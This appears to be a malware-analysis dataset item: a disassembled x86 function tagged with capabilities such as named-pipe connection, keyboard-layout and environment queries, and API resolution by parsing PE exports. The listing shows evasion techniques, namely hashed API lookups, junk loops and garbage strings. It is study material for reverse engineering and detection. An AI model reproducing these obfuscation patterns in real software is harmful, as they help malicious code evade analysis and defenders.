Function at 0x1000f2df
Capabilities:
Connect pipe
Get keyboard layout
Query environment variable
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x1005927e
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x1a8
cmp byte [ebp + 0x14], 0
push ebx
push esi
mov esi, ecx
push edi
mov edi, edx
mov dword [esp + 0x54], esi
je 0x1000fa4b
cmp byte [ebp + 0x28], 0
je 0x1000fa0c
mov eax, dword [esi]
cmp eax, dword [esi + 4]
je 0x1000f9fe
lea eax, [esp + 0x88]
xor ebx, ebx
push eax
push 0x1000
lea ecx, [esp + 0x64]
mov dword [esp + 0x90], ebx
mov dword [esp + 0x64], ebx
mov dword [esp + 0x68], ebx
mov dword [esp + 0x6c], ebx
call fcn.1001068c
mov dword [esp + 0x1bc], ebx
mov edi, 0x211d
mov eax, dword [esp + 0x60]
sub eax, dword [esp + 0x5c]
push dword [esp + 0x5c]
sar eax, 1
push eax
push edi
push 0x6e55
call fcn.10036ff3
pop ecx
pop ecx
call eax
push dword [esp + 0x5c]
lea ecx, [esp + 0x90]
call fcn.10004332
push 0x89e9
mov byte [esp + 0x1c0], 1
call fcn.10026ea1
movzx eax, ax
lea edx, [esp + 0x90]
pop ecx
mov dword [esp + 0x68], eax
lea eax, [esp + 0x68]
push eax
push 1
push ecx
call fcn.1000dc97
pop ecx
pop ecx
push 0x7ef6
lea edx, [esp + 0x94]
mov cl, 1
call fcn.1000dcf5
cmp dword [esp + 0xa8], 8
lea eax, [esp + 0x94]
pop ecx
cmovae eax, dword [esp + 0x90]
pop ecx
push ebx
push eax
push edi
push 0x5dc9
call fcn.10036ff3
pop ecx
pop ecx
call eax
push 1
lea eax, [esp + 0x90]
mov edx, 0x2899
push eax
lea eax, [esp + 0x70]
push eax
call fcn.1000f09f
add esp, 0xc
mov dword [esp + 0x18], ebx
lea eax, [esp + 0x18]
push 0x4184
push esi
push ecx
push eax
push 0xad5
push 1
push ecx
mov ecx, 0x47ca
call fcn.1000f1f2
add esp, 0x1c
mov byte [esp + 0x1f], bl
mov dword [esp + 0x10], ebx
mov dword [esp + 0x30], 0xdd02b300
mov dword [esp + 0x34], 0x15602ca
mov word [esp + 0x38], 0x31d
mov byte [esp + 0x3a], bl
lea eax, [esp + 0x8c]
push eax
lea ecx, [esp + 0xa8]
call fcn.10007198
push 0x10
pop edx
lea ecx, [esp + 0x108]
mov byte [esp + 0x1bc], 2
call fcn.10007367
push 1
lea eax, [esp + 0x10c]
mov byte [esp + 0x1c0], 3
push eax
push ecx
push ecx
lea eax, [esp + 0xb4]
mov edx, 0x4d3c
push eax
call fcn.1000e0b5
add esp, 0x14
mov ecx, ebx
mov dword [esp + 0x50], ecx
push 0x2e
pop eax
push 2
mov word [esp + 0x74], ax
pop esi
cmp esi, 2
jne 0x1000f4d5
push 3
pop ecx
push ecx
mov dword [esp + 0x54], ecx
pop esi
jmp 0x1000f516
movzx edx, byte [esp + esi + 0x31]
mov eax, esi
sub eax, ecx
movzx eax, byte [esp + eax + 0x2e]
movzx ecx, word [esp + eax*2 + 0x70]
mov eax, ecx
and eax, edx
add eax, eax
sub ecx, eax
movzx eax, byte [esp + esi + 0x30]
add ecx, edx
mov edx, 0x5f38
push ecx
push ecx
mov word [esp + eax*2 + 0x78], cx
lea eax, [esp + 0x58]
push eax
mov cl, 1
call fcn.1000df6b
mov ecx, dword [esp + 0x5c]
add esp, 0xc
add esi, 2
cmp esi, 0xb
jb 0x1000f4c5
mov dword [esp + 0x14], 0x3a11
cmp dword [esp + 0x14], 0x3bc8
jle 0x1000f59e
mov edi, ebx
mov esi, ebx
mov dword [esp + 0x6c], ebx
mov dword [esp + 0x4c], esi
mov dword [esp + 0x20], 0x437
mov eax, edi
lea ecx, [esp + 0x150]
or eax, esi
cdq
push edx
push eax
call fcn.10001a55
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1000f561
mov eax, dword [eax]
push eax
call fcn.100402ac
pop ecx
push ebx
push 1
lea ecx, [esp + 0x158]
call fcn.10004889
dec esi
dec dword [esp + 0x20]
jne 0x1000f544
mov esi, dword [esp + 0x6c]
inc esi
mov dword [esp + 0x6c], esi
cmp esi, 0x3a00
jl 0x1000f538
inc edi
cmp edi, 0x6b23
jl 0x1000f532
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor eax, eax
cmp dword [esp + 0x14], 0x386b
mov word [esp + 0x78], ax
jge 0x1000f5ba
push str.zcul_nzl_rytlzhkgu_vfxom
call fcn.100402ac
pop ecx
mov dword [esp + 0x1bc], 3
lea ecx, [esp + 0xf0]
xor eax, eax
mov dword [esp + 0x104], 7
mov word [esp + 0xf0], ax
lea eax, [esp + 0x70]
push eax
mov dword [esp + 0x104], ebx
call fcn.100048cd
push ecx
push ecx
lea eax, [esp + 0xf8]
mov byte [esp + 0x1c4], 6
push eax
lea ecx, [esp + 0xb0]
call fcn.1000b533
push ebx
push 1
lea ecx, [esp + 0xf8]
mov byte [esp + 0x1c4], 3
call fcn.10004955
xor eax, eax
lea edi, [esp + 0x70]
cmp dword [esp + 0xb8], 8
stosd dword es:[edi], eax
push ebx
push 0x80
push 2
stosd dword es:[edi], eax
push ebx
push ebx
push 0x40000000
stosw word es:[edi], ax
lea eax, [esp + 0xbc]
cmovae eax, dword [esp + 0xbc]
mov edi, 0x211d
push eax
push edi
push 0xd19d
call fcn.10036ff3
pop ecx
pop ecx
call eax
mov esi, eax
cmp esi, 0xffffffff
je 0x1000f6b1
push ebx
lea eax, [esp + 0xf0]
push eax
push dword [esp + 0x20]
mov eax, dword [esp + 0x60]
push dword [eax]
push esi
push edi
push 0x73d9
call fcn.10036ff3
pop ecx
pop ecx
call eax
push esi
test eax, eax
push edi
push 0x795d
setne bl
call fcn.10036ff3
pop ecx
pop ecx
call eax
test bl, bl
jne 0x1000f6fa
xor ebx, ebx
push ebx
push 1
lea ecx, [esp + 0x110]
call fcn.10004955
push ebx
push 1
lea ecx, [esp + 0xac]
mov byte [esp + 0x1c4], 1
call fcn.10004955
mov edi, dword [esp + 0x10]
inc edi
mov dword [esp + 0x10], edi
cmp edi, 0x12c
jb 0x1000f460
mov eax, dword [ebp + 0x20]
mov dword [eax], 2
jmp 0x1000f9e1
push 0x22
pop eax
xor ebx, ebx
mov dword [esp + 0x28], 0xb803bf00
push 2
pop esi
mov edi, ebx
mov word [esp + 0x2c], 0x76f4
mov word [esp + 0x24], ax
mov dword [esp + 0x14], esi
mov dword [esp + 0x20], edi
mov dword [esp + 0x10], 0x6969
cmp dword [esp + 0x10], 0x6d44
jle 0x1000f782
mov edi, ebx
mov esi, ebx
lea eax, [esi + edi]
cdq
lea ecx, [esp + 0x120]
push edx
push eax
call fcn.10001a55
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1000f752
mov eax, dword [eax]
push eax
call fcn.100402ac
pop ecx
push ebx
push 1
lea ecx, [esp + 0x128]
call fcn.10004889
inc esi
cmp esi, 0x2f77
jl 0x1000f736
inc edi
cmp edi, 0x780c
jl 0x1000f734
mov esi, dword [esp + 0x14]
mov edi, dword [esp + 0x20]
cmp esi, 2
jne 0x1000f792
push 4
pop edi
push edi
mov dword [esp + 0x24], edi
pop esi
jmp 0x1000f7df
cmp dword [esp + 0x10], 0x68bd
jge 0x1000f7a7
push str.pza_plqwo_hsjwsls_vvd_tuqwvnp_abkwe
call fcn.100402ac
pop ecx
mov eax, esi
mov dword [esp + 0x1bc], 3
movzx edx, byte [esp + esi + 0x29]
sub eax, edi
mov edi, ebx
mov dword [esp + 0x20], ebx
movzx eax, byte [esp + eax + 0x26]
movzx ecx, word [esp + eax*2 + 0x24]
mov eax, ecx
and eax, edx
add eax, eax
sub ecx, eax
movzx eax, byte [esp + esi + 0x28]
add ecx, edx
mov word [esp + eax*2 + 0x24], cx
add esi, 2
mov dword [esp + 0x14], esi
cmp esi, 6
jb 0x1000f720
xor eax, eax
mov dword [esp + 0xcc], ebx
push 7
mov word [esp + 0x2a], ax
lea ecx, [esp + 0xc0]
pop edi
mov word [esp + 0xbc], ax
lea eax, [esp + 0x24]
push eax
mov dword [esp + 0xd4], edi
call fcn.100048cd
push 1
push 0x4c76
lea eax, [esp + 0xac]
mov byte [esp + 0x1c4], 9
push eax
push 0xf76
push 0x51d5
push 0x309c
push 0xcb5
push 1
push 0x51b5
push 1
lea edx, [esp + 0xe4]
mov dword [esp + 0x4c], ebx
mov ecx, 0x4911
call fcn.1000e144
add esp, 0x28
mov dword [esp + 0x3c], 0xfc04f900
mov ecx, ebx
mov dword [esp + 0x40], 0x13990d8
mov dword [esp + 0x44], 0x30f0202
mov byte [esp + 0x48], 0x7c
push 0x22
pop eax
push 2
mov word [esp + 0x80], ax
pop esi
mov dword [esp + 0x58], ecx
cmp esi, 2
jne 0x1000f8ad
push 5
pop ecx
push ecx
mov dword [esp + 0x5c], ecx
pop esi
jmp 0x1000f8fd
movzx edx, byte [esp + esi + 0x3d]
mov eax, esi
sub eax, ecx
push 0x6473
push 0x7a90
push 1
movzx eax, byte [esp + eax + 0x46]
push 1
push 1
movzx eax, word [esp + eax*2 + 0x90]
mov ecx, eax
and eax, edx
or ecx, edx
mov edx, 0x575c
sub ecx, eax
movzx eax, byte [esp + esi + 0x50]
mov word [esp + eax*2 + 0x90], cx
lea ecx, [esp + 0x6c]
call fcn.1000eca0
mov ecx, dword [esp + 0x6c]
add esp, 0x14
add esi, 2
cmp esi, 0xd
jb 0x1000f89d
xor eax, eax
mov dword [esp + 0xe8], edi
mov word [esp + 0x84], ax
lea ecx, [esp + 0xd4]
mov word [esp + 0xd4], ax
lea eax, [esp + 0x7c]
push eax
mov dword [esp + 0xe8], ebx
call fcn.100048cd
push ecx
push ecx
lea eax, [esp + 0xdc]
mov byte [esp + 0x1c4], 0xa
push eax
lea ecx, [esp + 0xc8]
call fcn.1000b533
push ebx
push 1
lea ecx, [esp + 0xdc]
mov byte [esp + 0x1c4], 9
call fcn.10004955
xor eax, eax
lea edi, [esp + 0x7c]
stosd dword es:[edi], eax
mov edx, 0x2370
push 0x5183
push 0x24e7
mov cl, 1
stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [esp + 0x27]
push eax
push 1
push 1
push 0x1941
call fcn.1000ee22
add esp, 0x18
lea edx, [esp + 0x8c]
lea ecx, [esp + 0xbc]
call fcn.1000d5fe
mov ecx, dword [ebp + 0x20]
push ebx
push 1
mov dword [ecx], eax
lea ecx, [esp + 0xc4]
call fcn.10004955
push ebx
push 1
lea ecx, [esp + 0x110]
call fcn.10004955
push ebx
push 1
lea ecx, [esp + 0xac]
call fcn.10004955
push ebx
push 1
lea ecx, [esp + 0x94]
call fcn.10004955
lea ecx, [esp + 0x5c]
call fcn.10004ac2
jmp 0x1000fc12
mov eax, dword [ebp + 0x20]
mov dword [eax], 1
jmp 0x1000fc12
mov eax, dword [ebp + 0x18]
mov ecx, dword [ebp + 0x24]
push 0xffffffffffffffff
push dword [eax]
lea eax, [esp + 0x188]
push eax
call fcn.1000ffff
push eax
mov ecx, edi
mov dword [esp + 0x1c0], 0xb
call fcn.100100ad
push 0
push 1
lea ecx, [esp + 0x188]
call fcn.10004955
jmp 0x1000fc12
cmp byte [ebp + 0xc], 0
je 0x1000fb65
mov dword [esp + 0x14], 0x208c
cmp dword [esp + 0x14], 0x23a7
push 0
pop ebx
jle 0x1000faf1
mov esi, ebx
mov dword [esp + 0x18], ebx
mov edi, ebx
mov dword [esp + 0x10], ebx
mov ecx, edi
mov dword [esp + 0x54], esi
mov edi, esi
mov esi, ebx
sar edi, cl
mov ecx, esi
mov eax, edi
shl eax, cl
lea ecx, [esp + 0x138]
cdq
push edx
push eax
call fcn.10001a55
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1000faa5
mov eax, dword [eax]
push eax
call fcn.100402ac
pop ecx
push ebx
push 1
lea ecx, [esp + 0x140]
call fcn.10004889
inc esi
cmp esi, 0x6194
jl 0x1000fa86
mov edi, dword [esp + 0x10]
mov esi, dword [esp + 0x18]
inc edi
mov dword [esp + 0x10], edi
cmp edi, 0x23ab
jl 0x1000fa7a
inc esi
mov dword [esp + 0x18], esi
cmp esi, 0x1912
jl 0x1000fa74
push 0x5d6
call dword [sym.imp.USER32.dll_GetKeyboardLayout]
cmp dword [esp + 0x14], 0x2034
jge 0x1000fb06
push str.bnhhjsn_ojnld_seziauixn_zcg_exp_polynsrb_zezwvsoc
call fcn.100402ac
pop ecx
mov esi, dword [ebp + 8]
or dword [esp + 0x1bc], 0xffffffff
push 0x18
pop ecx
mov eax, dword [esi + 4]
sub eax, dword [esi]
cdq
idiv ecx
mov dword [esp + 0x10], eax
test eax, eax
je 0x1000fc12
mov edi, ebx
mov edx, dword [esi]
lea ecx, [esp + 0x168]
push dword [ebp + 0x1c]
add edx, edi
call fcn.1000c0e1
pop ecx
mov ecx, dword [esi]
push eax
add ecx, edi
call fcn.1000fed0
push ebx
push 1
lea ecx, [esp + 0x170]
call fcn.10004955
add edi, 0x18
dec dword [esp + 0x10]
jne 0x1000fb2a
jmp 0x1000fc12
mov eax, dword [ebp + 0x10]
cmp byte [eax], 0
je 0x1000fc12
mov dword [esp + 0x14], 0x510a
cmp dword [esp + 0x14], 0x5379
push 0
pop ebx
jle 0x1000fbf5
mov esi, ebx
mov dword [esp + 0x18], ebx
mov edi, ebx
mov dword [esp + 0x10], ebx
mov eax, esi
cdq
idiv edi
mov edi, 0x5e42
mov esi, edx
mov eax, esi
lea ecx, [esp + 0x198]
cdq
push edx
push eax
call fcn.10001a55
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1000fbb9
mov eax, dword [eax]
push eax
call fcn.100402ac
pop ecx
push ebx
push 1
lea ecx, [esp + 0x1a0]
call fcn.10004889
dec esi
dec edi
jne 0x1000fb9e
mov edi, dword [esp + 0x10]
mov esi, dword [esp + 0x18]
inc edi
mov dword [esp + 0x10], edi
cmp edi, 0x2dd8
jl 0x1000fb92
inc esi
mov dword [esp + 0x18], esi
cmp esi, 0x2583
jl 0x1000fb8c
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_ConnectNamedPipe]
cmp dword [esp + 0x14], 0x4f28
jge 0x1000fc12
push str.bco_flgjdpn_xzqda_djxmti_ropvfge_rgkeugfl_kkprraj_ofbgiacez_uinp_zidec_slwyf_wznexg_rfbqxo
call fcn.100402ac
pop ecx
mov ecx, dword [esp + 0x1b4]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret